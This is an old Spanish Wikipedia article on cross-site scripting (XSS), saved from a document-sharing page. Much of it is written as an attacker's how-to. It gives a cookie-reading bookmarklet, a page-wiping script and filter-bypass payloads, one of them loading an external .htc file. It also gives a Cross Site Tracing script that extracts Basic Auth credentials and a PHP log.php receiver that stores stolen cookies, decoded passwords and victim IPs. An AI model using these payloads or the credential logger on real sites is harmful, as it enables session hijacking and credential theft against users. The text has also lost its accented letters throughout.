You are on page 1of 4

XSS

De Wikipedia, la enciclopedia libre


Este artculo o seccin necesita ser wikificado con un formato adecuado a las
convenciones de estilo de Wikipedia.
Por favor, edtalo (http://es.wikipedia.org/w/index.php?title=XSS&action=edit) para cumplir con ellas.
No elimines este aviso hasta que lo hayas hecho. Colabora wikificando!

Tabla de contenidos
1 Introduccion
2 Indirecta
3 Usando FrameSets
4 Mensaje personalizado
5 Directa
5.1 Ejemplos de Scripts donde no son comunes de encontrar
6 Ajax
6.1 Script para obtener credenciales en tipo BASIC
7 log.php para registrar cookies
8 Enlaces externos

Introduccion
XSS es un ataque basado en la explotacin de vulnerabilidades del sistema de validacin de HTML
incrustado. Su nombre, del ingls "Cross Site Scripting", y renombrado XSS para que no sea confundido con
las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar cdigo
de "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a
llamar a los ataques de XSS "HTML Injection", sin embargo el trmino correcto es XSS. Estos errores se
pueden encontrar en cualquier aplicacin HTML, no se limita a sitios web, ya que puede haber aplicaciones
locales vulnerables a XSS, o incluso el navegador en s. El problema est en que normalmente no se validan
correctamente los datos de entrada que son usados en cierta aplicacin. Esta vulnerabilidad puede estar
presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada
una se trata de forma diferente.
Directa: Este tipo de XSS es el que normalmente es censurado; as que es muy poco comn que
puedas usar tags como <script> o <iframe>
Indirecta: Esta es un tipo de vulnerabilidad, muy comn y muy poco explotada. Consiste en
modificar valores que la aplicacin web utiliza para pasar variables entre dos pginas, sin usar
sesiones.

Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido

de una cookie, sin usar ningn tipo de iecv o addin para tu navegador, puedes usar el siguiente script de
jasildbg. Slo colcalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrar.
Qu podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.

Usando FrameSets
Regresemos al ejemplo del frameset, que segn la pgina que coloques te crea un frame a esa pgina. Qu
pasara si pones en esa URL?
javascript:while(1)alert("Te estoy inundando de mensajes!");

Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dir, bueno, es del mismo
dominio, no puede ser nada malo.. y de resultado tendr un loop infinito.
Hasta ah llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script
que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.
El robo de cookies es lo ms bsico, y tiene como objetivo robar la cookie. Y eso de qu sirve? Tengo el
PHPSESSID, y si el usuario cierra sesin no sirve de nada.
Cierto, pero con el uso de la librera cURL un usuario malintencionado, podra al recibir tu cookie, entrar a
la pgina, y dejarla en cach, para que el atacante cuando quiera, pueda entrar como t, sin siquiera necesitar
tu contrasea.
Otro uso comn para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.
Quiere ello decir que t ves la barra de direcciones, y ves que ests en una pgina, pero realmente ests en
otra. Introduces tu contrasea y la fastidiaste.
Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas pginas web son
vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio
malicioso, y se ejecuta, sin que el usuario lo sepa.

Mensaje personalizado
La tcnica slo funciona con imgenes:
error.php?error=Usuario%20Invalido

Esa pgina es vulnerable a XSS indirecto.


Un <script> que cree otra sesin bajo otro usuario y tu sesin actual la mande al atacante (lo explicado de
cURL ms arriba), puede causar estragos.
Este cdigo (muy peligroso) borra todo el contenido de la pgina en cuestin, y escribe otra cosa:

<script>
document.documentElement.innerHTML="NADA";
</script>

Directa
Funciona localizando puntos dbiles en la programacin de los filtros. As que si, por ejemplo, logran quitar
los <iframe>, <script>, el atacante siempre puede poner un <div> mal

Ejemplos de Scripts donde no son comunes de encontrar


<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Ajax
ste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para
introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticacin de un sistema basado en
Autenticacin Bsica (Basic Auth). Slo falta decodificarlo, pero es ms fcil mandarlo codificado al
registro de contraseas. La codificacin es base64.

Script para obtener credenciales en tipo BASIC


Esta tecnica tambin es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
// para firefox, es: var xmlhttp = new XMLHttpRequest();
xmlhttp.open("TRACE","./",false);
xmlhttp.send(null);
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.match(/.*/)[0];
alert(str3);

Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.

log.php para registrar cookies

<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));
fwrite($archivo, '<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>

Enlaces externos
XSS Cheat Sheet (http://ha.ckers.org/xss.html)
XSS FAQ (http://www.cgisecurity.com/articles/xss-faq.shtml)
Sla.ckers Forum (http://sla.ckers.org)
Ha.ckers Blog (http://ha.ckers.org)
Obtenido de "http://es.wikipedia.org/wiki/XSS"
Categoras: Wikipedia:Wikificar | Hacking
Esta pgina fue modificada por ltima vez el 06:37, 23 may 2007.
Contenido disponible bajo los trminos de la Licencia de documentacin libre de GNU (vase
Derechos de autor).
Wikipedia es una marca registrada de la organizacin sin nimo de lucro Wikimedia Foundation,
Inc.

You might also like